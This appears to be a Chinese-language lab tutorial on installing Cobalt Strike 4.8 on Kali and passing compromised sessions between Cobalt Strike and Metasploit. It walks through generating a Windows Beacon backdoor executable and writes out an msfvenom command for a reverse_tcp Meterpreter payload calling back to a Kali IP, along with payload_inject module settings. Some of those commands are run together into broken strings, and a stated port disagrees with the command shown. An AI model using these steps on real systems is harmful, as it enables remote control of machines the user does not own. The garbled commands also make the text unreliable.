CS安装与smf互联

Cs安装

Kali的IP：192.168.59.133

在这里我使用的是CS4.8

第一步：先下载cs的安装包

第二步：把cs的安装包复制进kali中【这里我是把cs的安装包放到桌面上的】，打开severs端，进行配置

注意：cs中只能生成win木马

第三步：就打开cs4.8的client端选择vbs启动，输入我们上面配置好了的IP和密码，端口默认50050【端口可以自己改】

第一次使用会出现这个【要确定这个指纹是否与团队服务器启动时显示的指纹相匹配】直接点击“是”就行了。

这个值是与kali中sever端形成的是一样的。

成功进入cs页面。

Cs与msf互联

准备工作

第一步：设置一个监听器【自己去监听shell端口】

打开监听器，有两种形式

形式一：

形式二：

打开完了下面就有一个listen

然后单击“add”新增一个监听器【自己取的名字一定要记住，后面要用】

第二步：上线CS

我们要选择“Beacan HTTP”

有效载荷-》wind可执行程序【版本是64位的就勾选】，生成后门【这里用我自己的本机做实验】上线成功。

在站点管理里面查看我们生成的后门

成功上线。

点击上线会话，鼠标左击选择“会话交互”

输入sleep=0。因为默认是60s回显一次判断是否在线，在这里我们设置为0s就行了。

好了目前我们拿到了一台机器。

1.CS派生MSF

第一步：在MSF中设置监听【IP地址为kali的IP】的payload

下面选项的tcp要把它改为http【不改的话运行就是只接收，不监听】

下面这个是修改后的

第二步：在CS上创建一个“Foreign HTTP”监听器

在cs中输入“spawn”命令

回显，就表示成功了

2.MSF派生CS

第一步：用msf生成反弹shell【端口号改8080】

Payload：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.59.133 LPORT=1234 -f exe >/home/kali/Desktop/test.exe

第二步：再在msf建立会话

第三步：在cs上设置监听

因为MSF主动去连接CS，所以这里设置反向连接。【这里的地址端口要与我们设置的一样】

第四步：转移msf会话

#使当前会话到后台允许

Background【可以使用缩写bg】

#使用payload_inject模块,执行之后会在本地产生一个新的Handler

use exploit/windows/local/payload_injectset

payload windows/meterpreter/reverse_http

set LHOST <CS_IP>

#这里的端口填写cs的端口

set LPORT <CS_Port>  

set session <Session_ID> #指定id

#设置MSF不启动监听,不然MSF会提示执行成功,但没有会话建立

set disablepayloadhandler truerun

第五步：查看上线